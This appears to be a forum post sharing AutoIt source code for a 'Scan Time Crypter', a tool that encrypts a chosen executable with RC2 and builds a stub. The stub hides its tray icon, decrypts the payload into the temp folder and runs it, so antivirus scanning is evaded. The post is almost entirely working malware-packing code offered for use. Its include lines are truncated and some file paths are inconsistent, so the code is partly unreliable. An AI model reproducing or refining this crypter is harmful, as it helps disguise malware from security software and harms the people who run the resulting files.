13 Years of Service
24%
Code:
>#include
#include
#include
#include
#include
#include
$ver = "Scan Time Crypter"
$directory = @TempDir & "\" & $ver
DirRemove($directory, 1)
DirCreate($directory)
FileInstall("Aut2Exe.exe", $directory & "Aut2Exe.exe")
FileInstall("upx.exe", $directory & "upx.exe")
FileInstall("AutoItSC.bin", $directory & "AutoItSC.bin")
FileInstall("Crypt.au3", $directory & "Crypt.au3")
$Form1 = GUICreate($ver, 285, 155, 232, 455)
$Label1 = GUICtrlCreateLabel("Path", 4, 16, 36, 17)
$Input1 = GUICtrlCreateInput("", 56, 16, 121, 21)
$Button1 = GUICtrlCreateButton("...", 192, 16, 75, 25, $WS_GROUP)
$Label2 = GUICtrlCreateLabel("Key", 4, 56, 36, 17)
$Input2 = GUICtrlCreateInput("", 56, 56, 121, 21)
$Button2 = GUICtrlCreateButton("Crypt", 64, 96, 147, 41, $WS_GROUP)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
DirRemove($directory, 1)
Exit
Case $Button1
$fileopen = FileOpenDialog("Select file ...", @ScriptDir, "(*.exe)")
If Not @error Then
GUICtrlSetData($Input1, $fileopen)
EndIf
Case $Button2
If GUICtrlRead($Input1) = "" Then
MsgBox(0, "", "erro")
ElseIf GUICtrlRead($Input2) = "" Then
MsgBox(0, "", "erro")
Else
$algo = $CALG_RC2
$Quelle = GUICtrlRead($Input1)
$Ziel = $directory & "crypt"
$Key = GUICtrlRead($Input2)
_Crypt_EncryptFile($Quelle, $Ziel, $Key, $algo)
FileWrite($directory & "start.au3", "")
$gans = Chr(34)
$z1 = "#NoTrayIcon"
$z2 = "#include "
$z3 = "FileInstall(" & Chr(34) & "crypt" & Chr(34) & ",@TempDir&" & Chr(34) & "\crypt" & Chr(34) & ",1)"
$z4 = "_Crypt_DecryptFile(@TempDir&" & $gans & "\crypt" & $gans & ", @TempDir&" & $gans & "\uncrypted.exe" & $gans & ", " & $gans & $Key & $gans & ", " & $gans & $algo & $gans & ")"
$z5 = "ShellExecute(@TempDir&" & Chr(34) & "\uncrypted.exe" & Chr(34) & ")"
$file_open = FileOpen($directory & "\start.au3", 1)
FileWriteLine($file_open, $z1)
FileWriteLine($file_open, $z2)
FileWriteLine($file_open, $z3)
FileWriteLine($file_open, $z4)
FileWriteLine($file_open, $z5)
FileClose($file_open)
$in = $directory & "\start.au3"
$call = '/in ' & $gans & $in & $gans
ShellExecuteWait($directory & "\Aut2exe.exe", $call)
FileDelete($directory & "\crypted")
FileDelete($directory & "\start.au3")
$out = FileSaveDialog("Save File as ...", @ScriptDir, "(*.exe)")
While @error
$out = FileSaveDialog("Save File as ...", @ScriptDir, "(*.exe)")
WEnd
FileMove($directory & "\start.exe", $out)
FileDelete(@TempDir & "\crypted")
FileDelete(@TempDir & "\uncrypted.exe")
EndIf
EndSwitch
WEnd